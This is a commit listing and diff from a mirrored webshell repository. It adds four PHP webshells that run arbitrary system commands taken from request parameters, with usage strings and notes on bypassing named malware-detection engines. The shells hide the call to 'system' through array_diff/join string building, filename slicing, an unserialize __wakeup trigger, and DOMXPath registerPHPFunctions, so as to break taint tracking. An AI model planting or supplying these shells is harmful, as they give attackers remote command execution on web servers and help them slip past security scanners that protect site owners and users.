1
0
mirror of https://github.com/tennc/webshell.git synced 2025-12-06 04:41:28 +00:00

4 Commits

Author SHA1 Message Date
tennc
43c3fd24a3 Create system2022-08-22-4.php
from: https://zhuanlan.zhihu.com/p/550150061
usage: xxx.php?1=whoami
2022-08-22 22:42:23 +08:00
tennc
a5b681ccf8 Create system2022-08-22-3.php
from: https://zhuanlan.zhihu.com/p/550150061
__FILE__是PHP的一个魔术常量,它会返回当前执行PHP脚本的完整路径和文件名,我们利用substr()函数逆着截取,就能获得system再利用变量做函数的方式,打断了污点追踪的过程,进行命令执行,也可以成功bypass掉牧云引擎。
usage:
file:xxx.php
post: body==>1=whoami
2022-08-22 22:40:18 +08:00
tennc
615c74bdec Create system2022-08-22-2.php
from: https://zhuanlan.zhihu.com/p/550150061

usage: xxx.php?1[]=system&1[]=a&1[]=b&2=whoami
2022-08-22 22:37:10 +08:00
tennc
c9540e5a85 Create system2022-08-22.php
from : https://zhuanlan.zhihu.com/p/550150061
该样本需要一些条件,前提是开启了php-xml拓展才可以,其原理就是用XML去注册一个registerPHPFunctions,也就是我们想要执行的system再利用getClosure去触发该方法而构成的webshell,其中即利用到了PHP的特性,利用registerNamespace和registerPHPFunctions来中断污点追踪,从而RCE
usage: xxx.php?3=whoami
2022-08-22 22:32:44 +08:00
4 changed files with 49 additions and 0 deletions

View File

@@ -0,0 +1,14 @@
<?php
//bypass 牧云 and TAV反病毒引擎+洋葱恶意代码检测引擎
class A{
public function __construct(){}
public function __wakeup(){
$b = $_GET[1];
$result = array_diff(["s","a","b","ys","te","m"],["a","b"]);
$a = join($result);
Closure::fromCallable($a)->__invoke($_REQUEST[2]);
}
}
@unserialize('O:1:"A":1:{s:10:" A comment";N;}');

View File

@@ -0,0 +1,5 @@
<?php
//bypass 牧云 文件名需要设置为system
$filename=substr(__FILE__,-10,6);
$command=$_POST[1];
$filename($command);

View File

@@ -0,0 +1,6 @@
<?php
//ASRC伏魔引擎bypass
$result = array_diff(["s","a","b","ys","te","m"],["a","b"]);
$a = join($result);
array_map($a,(array)$_REQUEST['1']);
?>

24
php/system2022-08-22.php Normal file
View File

@@ -0,0 +1,24 @@
<?php
// dom and xml needed, install php-xml and leave php.ini as default.
// Author:LemonPrefect
$cmd = $_GET[3];
$_REQUEST[1] = "//book[php:functionString('system', '$cmd') = 'PHP']";
$_REQUEST[2] = ["php", "http://php.net/xpath"];
$xml = <<< XML
<?xml version="1.0" encoding="UTF-8"?>
<books>
<book>
<title>We are the champions</title>
<author>LemonPrefect</author>
<author>H3h3QAQ</author>
</book>
</books>
XML;
$doc = new DOMDocument;
$doc->loadXML($xml);
$clazz = (new ReflectionClass("DOMXPath"));
$instance = $clazz->newInstance($doc);
$clazz->getMethod("registerNamespace")->getClosure($instance)->__invoke(...$_REQUEST[2]);
$clazz->getMethod("registerPHPFunctions")->invoke($instance);
$clazz->getMethod("query")->getClosure($instance)->__invoke($_REQUEST[1]);